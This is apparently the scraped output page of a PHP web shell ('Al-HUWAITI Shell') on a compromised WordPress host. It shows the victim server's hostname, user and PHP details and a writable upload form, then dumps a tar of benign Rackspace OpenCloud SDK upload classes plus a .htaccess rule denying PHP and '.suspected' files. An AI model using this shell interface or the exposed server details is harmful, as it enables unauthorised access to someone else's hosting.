hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : chryzalihi ( 621211)
PHP Version : 8.3.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/c/h/r/chryzalihi/www/wp-content/languages/themes/the/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/c/h/r/chryzalihi/www/wp-content/languages/themes/the/Upload.tar
AbstractTransfer.php000060400000013452152447340220010531 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\ObjectStore\Upload;

use Exception;
use Guzzle\Http\EntityBody;
use OpenCloud\Common\Exceptions\RuntimeException;
use OpenCloud\Common\Http\Client;
use OpenCloud\ObjectStore\Exception\UploadException;

/**
 * Contains abstract functionality for transfer objects.
 */
class AbstractTransfer
{
    /**
     * Minimum chunk size is 1MB.
     */
    const MIN_PART_SIZE = 1048576;

    /**
     * Maximum chunk size is 5GB.
     */
    const MAX_PART_SIZE = 5368709120;

    /**
     * Default chunk size is 1GB.
     */
    const DEFAULT_PART_SIZE = 1073741824;

    /**
     * @var \OpenCloud\Common\Http\Client The client object which handles all HTTP interactions
     */
    protected $client;

    /**
     * @var \Guzzle\Http\EntityBody The payload being transferred
     */
    protected $entityBody;

    /**
     * The current state of the transfer responsible for, among other things, holding an itinerary of uploaded parts
     *
     * @var \OpenCloud\ObjectStore\Upload\TransferState
     */
    protected $transferState;

    /**
     * @var array User-defined key/pair options
     */
    protected $options;

    /**
     * @var int
     */
    protected $partSize;

    /**
     * @var array Defaults that will always override user-defined options
     */
    protected $defaultOptions = array(
        'concurrency'    => true,
        'partSize'       => self::DEFAULT_PART_SIZE,
        'prefix'         => 'segment',
        'doPartChecksum' => true
    );

    /**
     * @return static
     */
    public static function newInstance()
    {
        return new static();
    }

    /**
     * @param Client $client
     * @return $this
     */
    public function setClient(Client $client)
    {
        $this->client = $client;

        return $this;
    }

    /**
     * @param EntityBody $entityBody
     * @return $this
     */
    public function setEntityBody(EntityBody $entityBody)
    {
        $this->entityBody = $entityBody;

        return $this;
    }

    /**
     * @param TransferState $transferState
     * @return $this
     */
    public function setTransferState(TransferState $transferState)
    {
        $this->transferState = $transferState;

        return $this;
    }

    /**
     * @return array
     */
    public function getOptions()
    {
        return $this->options;
    }

    /**
     * @param $options
     * @return $this
     */
    public function setOptions($options)
    {
        $this->options = $options;

        return $this;
    }

    /**
     * @param $option The key being updated
     * @param $value  The option's value
     * @return $this
     */
    public function setOption($option, $value)
    {
        $this->options[$option] = $value;

        return $this;
    }

    public function getPartSize()
    {
        return $this->partSize;
    }

    /**
     * @return $this
     */
    public function setup()
    {
        $this->options = array_merge($this->defaultOptions, $this->options);
        $this->partSize = $this->validatePartSize();

        return $this;
    }

    /**
     * Make sure the part size falls within a valid range
     *
     * @return mixed
     */
    protected function validatePartSize()
    {
        $min = min($this->options['partSize'], self::MAX_PART_SIZE);

        return max($min, self::MIN_PART_SIZE);
    }

    /**
     * Initiates the upload procedure.
     *
     * @return \Guzzle\Http\Message\Response
     * @throws RuntimeException If the transfer is not in a "running" state
     * @throws UploadException  If any errors occur during the upload
     * @codeCoverageIgnore
     */
    public function upload()
    {
        if (!$this->transferState->isRunning()) {
            throw new RuntimeException('The transfer has been aborted.');
        }

        try {
            $this->transfer();
            $response = $this->createManifest();
        } catch (Exception $e) {
            throw new UploadException($this->transferState, $e);
        }

        return $response;
    }

    /**
     * With large uploads, you must create a manifest file. Although each segment or TransferPart remains
     * individually addressable, the manifest file serves as the unified file (i.e. the 5GB download) which, when
     * retrieved, streams all the segments concatenated.
     *
     * @link http://docs.rackspace.com/files/api/v1/cf-devguide/content/Large_Object_Creation-d1e2019.html
     * @return \Guzzle\Http\Message\Response
     * @codeCoverageIgnore
     */
    private function createManifest()
    {
        $parts = array();

        foreach ($this->transferState as $part) {
            $parts[] = (object) array(
                'path'       => $part->getPath(),
                'etag'       => $part->getETag(),
                'size_bytes' => $part->getContentLength()
            );
        }

        $headers = array(
            'Content-Length'    => 0,
            'X-Object-Manifest' => sprintf('%s/%s/%s/',
                $this->options['containerName'],
                $this->options['objectName'],
                $this->options['prefix']
            )
        );

        $url = clone $this->options['containerUrl'];
        $url->addPath($this->options['objectName']);

        return $this->client->put($url, $headers)->send();
    }
}
.htaccess000044400000000424152447340220006343 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>ContainerMigration.php000060400000013107152447340220011052 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\ObjectStore\Upload;

use Guzzle\Batch\BatchBuilder;
use Guzzle\Common\Collection;
use Guzzle\Http\Message\Response;
use Guzzle\Http\Url;
use OpenCloud\ObjectStore\Resource\Container;

/**
 * Class responsible for migrating the contents of one container to another
 *
 * @package OpenCloud\ObjectStore\Upload
 */
class ContainerMigration
{
    /** @var \Guzzle\Batch\Batch */
    protected $readQueue;

    /** @var \Guzzle\Batch\Batch */
    protected $writeQueue;

    /** @var \OpenCloud\ObjectStore\Resource\Container */
    protected $oldContainer;

    /** @var \OpenCloud\ObjectStore\Resource\Container */
    protected $newContainer;

    /** @var \Guzzle\Common\Collection */
    protected $options = array();

    protected $defaults = array(
        'read.batchLimit'  => 1000,
        'read.pageLimit'   => 10000,
        'write.batchLimit' => 100
    );

    /**
     * @param Container $old     Source container
     * @param Container $new     Target container
     * @param array     $options Options that configure process
     * @return ContainerMigration
     */
    public static function factory(Container $old, Container $new, array $options = array())
    {
        $migration = new self();

        $migration->setOldContainer($old);
        $migration->setNewContainer($new);
        $migration->setOptions($options);

        $migration->setupReadQueue();
        $migration->setupWriteQueue();

        return $migration;
    }

    /**
     * @param Container $old
     */
    public function setOldContainer(Container $old)
    {
        $this->oldContainer = $old;
    }

    /**
     * @return Container
     */
    public function getOldContainer()
    {
        return $this->oldContainer;
    }

    /**
     * @param Container $new
     */
    public function setNewContainer(Container $new)
    {
        $this->newContainer = $new;
    }

    /**
     * @return Container
     */
    public function getNewContainer()
    {
        return $this->newContainer;
    }

    /**
     * @param array $options
     */
    public function setOptions(array $options)
    {
        $this->options = Collection::fromConfig($options, $this->defaults);
    }

    /**
     * @return \Guzzle\Common\Collection
     */
    public function getOptions()
    {
        return $this->options;
    }

    /**
     * Set the read queue as a {@see \Guzzle\Batch\Batch} queue using the {@see \Guzzle\Batch\BatchBuilder}
     */
    public function setupReadQueue()
    {
        $this->readQueue = BatchBuilder::factory()
            ->transferRequests($this->options->get('read.batchLimit'))
            ->build();
    }

    /**
     * Set the write queue as a {@see \Guzzle\Batch\Batch} queue using the {@see \Guzzle\Batch\BatchBuilder}
     */
    public function setupWriteQueue()
    {
        $this->writeQueue = BatchBuilder::factory()
            ->transferRequests($this->options->get('write.batchLimit'))
            ->build();
    }

    /**
     * @return \Guzzle\Http\ClientInterface
     */
    private function getClient()
    {
        return $this->newContainer->getService()->getClient();
    }

    /**
     * Create a collection of files to be migrated and add them to the read queue
     */
    protected function enqueueGetRequests()
    {
        $files = $this->oldContainer->objectList(array(
            'limit.total' => false,
            'limit.page'  => $this->options->get('read.pageLimit')
        ));

        foreach ($files as $file) {
            $this->readQueue->add(
                $this->getClient()->get($file->getUrl())
            );
        }
    }

    /**
     * Send the read queue (in order to gather more information about individual files)
     *
     * @return array Responses
     */
    protected function sendGetRequests()
    {
        $this->enqueueGetRequests();

        return $this->readQueue->flush();
    }

    /**
     * Create a tailored PUT request for each file
     *
     * @param Response $response
     * @return \Guzzle\Http\Message\EntityEnclosingRequestInterface
     */
    protected function createPutRequest(Response $response)
    {
        $segments = Url::factory($response->getEffectiveUrl())->getPathSegments();
        $name = end($segments);

        // Retrieve content and metadata
        $file = $this->newContainer->dataObject()->setName($name);
        $file->setMetadata($response->getHeaders(), true);

        return $this->getClient()->put(
            $file->getUrl(),
            $file::stockHeaders($file->getMetadata()->toArray()),
            $response->getBody()
        );
    }

    /**
     * Initiate the transfer process
     *
     * @return array PUT responses
     */
    public function transfer()
    {
        $requests = $this->sendGetRequests();
        $this->readQueue = null;

        foreach ($requests as $key => $request) {
            $this->writeQueue->add(
                $this->createPutRequest($request->getResponse())
            );
            unset($requests[$key]);
        }

        return $this->writeQueue->flush();
    }
}
TransferPart.php000060400000010371152447340220007671 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\ObjectStore\Upload;

use Guzzle\Http\Message\Response;
use Guzzle\Http\Url;
use OpenCloud\Common\Constants\Header;

/**
 * Represents an individual part of the EntityBody being uploaded.
 *
 * @codeCoverageIgnore
 */
class TransferPart
{
    /**
     * @var int Its position in the upload queue.
     */
    protected $partNumber;

    /**
     * @var string This upload's ETag checksum.
     */
    protected $eTag;

    /**
     * @var int The length of this upload in bytes.
     */
    protected $contentLength;

    /**
     * @var string The API path of this upload.
     */
    protected $path;

    /**
     * @param int $contentLength
     * @return $this
     */
    public function setContentLength($contentLength)
    {
        $this->contentLength = $contentLength;

        return $this;
    }

    /**
     * @return int
     */
    public function getContentLength()
    {
        return $this->contentLength;
    }

    /**
     * @param  string $etag
     * @return $this
     */
    public function setETag($etag)
    {
        $this->etag = $etag;

        return $this;
    }

    /**
     * @return string
     */
    public function getETag()
    {
        return $this->etag;
    }

    /**
     * @param int $partNumber
     * @return $this
     */
    public function setPartNumber($partNumber)
    {
        $this->partNumber = $partNumber;

        return $this;
    }

    /**
     * @return int
     */
    public function getPartNumber()
    {
        return $this->partNumber;
    }

    /**
     * @param $path
     * @return $this
     */
    public function setPath($path)
    {
        $this->path = $path;

        return $this;
    }

    /**
     * @return string
     */
    public function getPath()
    {
        return $this->path;
    }

    /**
     * Create the request needed for this upload to the API.
     *
     * @param EntityBody $part    The entity body being uploaded
     * @param int        $number  Its number/position, needed for name
     * @param OpenStack  $client  Client responsible for issuing requests
     * @param array      $options Set by the Transfer object
     * @return OpenCloud\Common\Http\Request
     */
    public static function createRequest($part, $number, $client, $options)
    {
        $name = sprintf('%s/%s/%d', $options['objectName'], $options['prefix'], $number);
        $url = clone $options['containerUrl'];
        $url->addPath($name);

        $headers = array(
            Header::CONTENT_LENGTH => $part->getContentLength(),
            Header::CONTENT_TYPE   => $part->getContentType()
        );

        if ($options['doPartChecksum'] === true) {
            $headers['ETag'] = $part->getContentMd5();
        }

        $request = $client->put($url, $headers, $part);

        if (isset($options['progress'])) {
            $request->getCurlOptions()->add('progress', true);
            if (is_callable($options['progress'])) {
                $request->getCurlOptions()->add('progressCallback', $options['progress']);
            }
        }

        return $request;
    }

    /**
     * Construct a TransferPart from a HTTP response delivered by the API.
     *
     * @param Response $response
     * @param int      $partNumber
     * @return TransferPart
     */
    public static function fromResponse(Response $response, $partNumber = 1)
    {
        $responseUri = Url::factory($response->getEffectiveUrl());

        $object = new self();

        $object->setPartNumber($partNumber)
            ->setContentLength($response->getHeader(Header::CONTENT_LENGTH))
            ->setETag($response->getHeader(Header::ETAG))
            ->setPath($responseUri->getPath());

        return $object;
    }
}
ConsecutiveTransfer.php000060400000004425152447340220011255 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\ObjectStore\Upload;

use Guzzle\Http\EntityBody;
use Guzzle\Http\ReadLimitEntityBody;
use OpenCloud\Common\Constants\Size;

/**
 * A transfer type which executes consecutively - i.e. it will upload an entire EntityBody and then move on to the next
 * in a linear fashion. There is no concurrency here.
 *
 * @codeCoverageIgnore
 */
class ConsecutiveTransfer extends AbstractTransfer
{
    public function transfer()
    {
        while (!$this->entityBody->isConsumed()) {
            if ($this->entityBody->getContentLength() && $this->entityBody->isSeekable()) {
                // Stream directly from the data
                $body = new ReadLimitEntityBody($this->entityBody, $this->partSize, $this->entityBody->ftell());
            } else {
                // If not-seekable, read the data into a new, seekable "buffer"
                $body = EntityBody::factory();
                $output = true;
                while ($body->getContentLength() < $this->partSize && $output !== false) {
                    // Write maximum of 10KB at a time
                    $length = min(10 * Size::KB, $this->partSize - $body->getContentLength());
                    $output = $body->write($this->entityBody->read($length));
                }
            }

            if ($body->getContentLength() == 0) {
                break;
            }

            $request = TransferPart::createRequest(
                $body,
                $this->transferState->count() + 1,
                $this->client,
                $this->options
            );

            $response = $request->send();

            $this->transferState->addPart(TransferPart::fromResponse($response));
        }
    }
}
DirectorySync.php000060400000015100152447340220010052 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\ObjectStore\Upload;

use DirectoryIterator;
use Guzzle\Http\EntityBody;
use OpenCloud\Common\Collection\ResourceIterator;
use OpenCloud\Common\Exceptions\InvalidArgumentError;
use OpenCloud\ObjectStore\Resource\Container;

/**
 * DirectorySync upload class, in charge of creating, replacing and delete data objects on the API. The goal of
 * this execution is to sync local directories with remote CloudFiles containers so that they are consistent.
 *
 * @package OpenCloud\ObjectStore\Upload
 */
class DirectorySync
{
    /**
     * @var string The path to the directory you're syncing.
     */
    private $basePath;
    /**
     * @var ResourceIterator A collection of remote files in Swift.
     */
    private $remoteFiles;
    /**
     * @var AbstractContainer The Container object you are syncing.
     */
    private $container;

    /**
     * Basic factory method to instantiate a new DirectorySync object with all the appropriate properties.
     *
     * @param           $path      The local path
     * @param Container $container The container you're syncing
     * @return DirectorySync
     */
    public static function factory($path, Container $container)
    {
        $transfer = new self();
        $transfer->setBasePath($path);
        $transfer->setContainer($container);
        $transfer->setRemoteFiles($container->objectList());

        return $transfer;
    }

    /**
     * @param $path
     * @throws \OpenCloud\Common\Exceptions\InvalidArgumentError
     */
    public function setBasePath($path)
    {
        if (!file_exists($path)) {
            throw new InvalidArgumentError(sprintf('%s does not exist', $path));
        }

        $this->basePath = $path;
    }

    /**
     * @param ResourceIterator $remoteFiles
     */
    public function setRemoteFiles(ResourceIterator $remoteFiles)
    {
        $this->remoteFiles = $remoteFiles;
    }

    /**
     * @param Container $container
     */
    public function setContainer(Container $container)
    {
        $this->container = $container;
    }

    /**
     * Execute the sync process. This will collect all the remote files from the API and do a comparison. There are
     * four scenarios that need to be dealt with:
     *
     * - Exists locally, exists remotely (identical checksum) = no action
     * - Exists locally, exists remotely (diff checksum) = local overwrites remote
     * - Exists locally, not exists remotely = local is written to remote
     * - Not exists locally, exists remotely = remote file is deleted
     */
    public function execute()
    {
        $localFiles = $this->traversePath($this->basePath);

        $this->remoteFiles->rewind();
        $this->remoteFiles->populateAll();

        $entities = array();
        $requests = array();
        $deletePaths = array();

        // Handle PUT requests (create/update files)
        foreach ($localFiles as $filename) {
            $callback = $this->getCallback($filename);
            $filePath = rtrim($this->basePath, '/') . '/' . $filename;

            if (!is_readable($filePath)) {
                continue;
            }

            $entities[] = $entityBody = EntityBody::factory(fopen($filePath, 'r+'));

            if (false !== ($remoteFile = $this->remoteFiles->search($callback))) {
                // if different, upload updated version
                if ($remoteFile->getEtag() != $entityBody->getContentMd5()) {
                    $requests[] = $this->container->getClient()->put(
                        $remoteFile->getUrl(),
                        $remoteFile->getMetadata()->toArray(),
                        $entityBody
                    );
                }
            } else {
                // upload new file
                $url = clone $this->container->getUrl();
                $url->addPath($filename);

                $requests[] = $this->container->getClient()->put($url, array(), $entityBody);
            }
        }

        // Handle DELETE requests
        foreach ($this->remoteFiles as $remoteFile) {
            $remoteName = $remoteFile->getName();
            if (!in_array($remoteName, $localFiles)) {
                $deletePaths[] = sprintf('/%s/%s', $this->container->getName(), $remoteName);
            }
        }

        // send update/create requests
        if (count($requests)) {
            $this->container->getClient()->send($requests);
        }

        // bulk delete
        if (count($deletePaths)) {
            $this->container->getService()->bulkDelete($deletePaths);
        }

        // close all streams
        if (count($entities)) {
            foreach ($entities as $entity) {
                $entity->close();
            }
        }
    }

    /**
     * Given a path, traverse it recursively for nested files.
     *
     * @param $path
     * @return array
     */
    private function traversePath($path)
    {
        $filenames = array();

        $directory = new DirectoryIterator($path);

        foreach ($directory as $file) {
            if ($file->isDot()) {
                continue;
            }
            if ($file->isDir()) {
                $filenames = array_merge($filenames, $this->traversePath($file->getPathname()));
            } else {
                $filenames[] = $this->trimFilename($file);
            }
        }

        return $filenames;
    }

    /**
     * Given a path, trim away leading slashes and strip the base path.
     *
     * @param $file
     * @return string
     */
    private function trimFilename($file)
    {
        return ltrim(str_replace($this->basePath, '', $file->getPathname()), '/');
    }

    /**
     * Get the callback used to do a search function on the remote iterator.
     *
     * @param $name     The name of the file we're looking for.
     * @return callable
     */
    private function getCallback($name)
    {
        $name = trim($name, '/');

        return function ($remoteFile) use ($name) {
            if ($remoteFile->getName() == $name) {
                return true;
            }

            return false;
        };
    }
}
TransferState.php000060400000003313152447340220010041 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\ObjectStore\Upload;

/**
 * Represents the current state of the Transfer.
 *
 * @codeCoverageIgnore
 */
class TransferState
{
    /**
     * @var array Holds all of the parts which have been transferred.
     */
    protected $completedParts = array();

    /**
     * @var bool
     */
    protected $running;

    /**
     * @return $this
     */
    public static function factory()
    {
        $self = new self();

        return $self->init();
    }

    /**
     * @param TransferPart $part
     */
    public function addPart(TransferPart $part)
    {
        $this->completedParts[] = $part;
    }

    /**
     * @return int
     */
    public function count()
    {
        return count($this->completedParts);
    }

    /**
     * @return bool
     */
    public function isRunning()
    {
        return $this->running;
    }

    /**
     * @return $this
     */
    public function init()
    {
        $this->running = true;

        return $this;
    }

    /**
     * @return $this
     */
    public function cancel()
    {
        $this->running = false;

        return $this;
    }
}
TransferBuilder.php000060400000007263152447340220010357 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\ObjectStore\Upload;

use Guzzle\Http\EntityBody;
use OpenCloud\Common\Exceptions\InvalidArgumentError;
use OpenCloud\ObjectStore\Resource\Container;

/**
 * Factory which creates Transfer objects, either ConcurrentTransfer or ConsecutiveTransfer.
 */
class TransferBuilder
{
    /**
     * @var Container The container being uploaded to
     */
    protected $container;

    /**
     * @var EntityBody The data payload.
     */
    protected $entityBody;

    /**
     * @var array A key/value pair of options.
     */
    protected $options = array();

    /**
     * @return TransferBuilder
     */
    public static function newInstance()
    {
        return new self();
    }

    /**
     * @param type $options Available configuration options:
     *
     * * `concurrency'    <bool>   The number of concurrent workers.
     * * `partSize'       <int>    The size, in bytes, for the chunk
     * * `doPartChecksum' <bool>   Enable or disable MD5 checksum in request (ETag)
     *
     * If you are uploading FooBar, its chunks will have the following naming structure:
     *
     * FooBar/1
     * FooBar/2
     * FooBar/3
     *
     * @return \OpenCloud\ObjectStore\Upload\UploadBuilder
     */
    public function setOptions($options)
    {
        $this->options = $options;

        return $this;
    }

    /**
     * @param $key   The option name
     * @param $value The option value
     * @return $this
     */
    public function setOption($key, $value)
    {
        $this->options[$key] = $value;

        return $this;
    }

    /**
     * @param Container $container
     * @return $this
     */
    public function setContainer(Container $container)
    {
        $this->container = $container;

        return $this;
    }

    /**
     * @param EntityBody $entityBody
     * @return $this
     */
    public function setEntityBody(EntityBody $entityBody)
    {
        $this->entityBody = $entityBody;

        return $this;
    }

    /**
     * Build the transfer.
     *
     * @return mixed
     * @throws \OpenCloud\Common\Exceptions\InvalidArgumentError
     */
    public function build()
    {
        // Validate properties
        if (!$this->container || !$this->entityBody || !$this->options['objectName']) {
            throw new InvalidArgumentError('A container, entity body and object name must be set');
        }

        // Create TransferState object for later use
        $transferState = TransferState::factory();

        // Instantiate Concurrent-/ConsecutiveTransfer
        $transferClass = isset($this->options['concurrency']) && $this->options['concurrency'] > 1
            ? __NAMESPACE__ . '\\ConcurrentTransfer'
            : __NAMESPACE__ . '\\ConsecutiveTransfer';

        return $transferClass::newInstance()
            ->setClient($this->container->getClient())
            ->setEntityBody($this->entityBody)
            ->setTransferState($transferState)
            ->setOptions($this->options)
            ->setOption('containerName', $this->container->getName())
            ->setOption('containerUrl', $this->container->getUrl())
            ->setup();
    }
}
ConcurrentTransfer.php000060400000006746152447340220011120 0ustar00<?php
/**
 * Copyright 2012-2014 Rackspace US, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace OpenCloud\ObjectStore\Upload;

use Guzzle\Http\EntityBody;
use Guzzle\Http\ReadLimitEntityBody;

/**
 * A transfer type which executes in a concurrent fashion, i.e. with multiple workers uploading at once. Each worker is
 * charged with uploading a particular chunk of data. The entity body is fragmented into n pieces - calculated by
 * dividing the total size by the individual part size.
 *
 * @codeCoverageIgnore
 */
class ConcurrentTransfer extends AbstractTransfer
{
    public function transfer()
    {
        $totalParts = (int) ceil($this->entityBody->getContentLength() / $this->partSize);
        $workers = min($totalParts, $this->options['concurrency']);
        $parts = $this->collectParts($workers);

        while ($this->transferState->count() < $totalParts) {
            $completedParts = $this->transferState->count();
            $requests = array();

            // Iterate over number of workers until total completed parts is what we need it to be
            for ($i = 0; $i < $workers && ($completedParts + $i) < $totalParts; $i++) {
                // Offset is the current pointer multiplied by the standard chunk length
                $offset = ($completedParts + $i) * $this->partSize;
                $parts[$i]->setOffset($offset);

                // If this segment is empty (i.e. buffering a half-full chunk), break the iteration
                if ($parts[$i]->getContentLength() == 0) {
                    break;
                }

                // Add this to the request queue for later processing
                $requests[] = TransferPart::createRequest(
                    $parts[$i],
                    $this->transferState->count() + $i + 1,
                    $this->client,
                    $this->options
                );
            }

            // Iterate over our queued requests and process them
            foreach ($this->client->send($requests) as $response) {
                // Add this part to the TransferState
                $this->transferState->addPart(TransferPart::fromResponse($response));
            }
        }
    }

    /**
     * Partitions the entity body into an array - each worker is represented by a key, and the value is a
     * ReadLimitEntityBody object, whose read limit is fixed based on this object's partSize value. This will always
     * ensure the chunks are sent correctly.
     *
     * @param int    The total number of workers
     * @return array The worker array
     */
    private function collectParts($workers)
    {
        $uri = $this->entityBody->getUri();

        $array = array(new ReadLimitEntityBody($this->entityBody, $this->partSize));

        for ($i = 1; $i < $workers; $i++) {
            // Need to create a fresh EntityBody, otherwise you'll get weird 408 responses
            $array[] = new ReadLimitEntityBody(new EntityBody(fopen($uri, 'r')), $this->partSize);
        }

        return $array;
    }
}

Al-HUWAITI Shell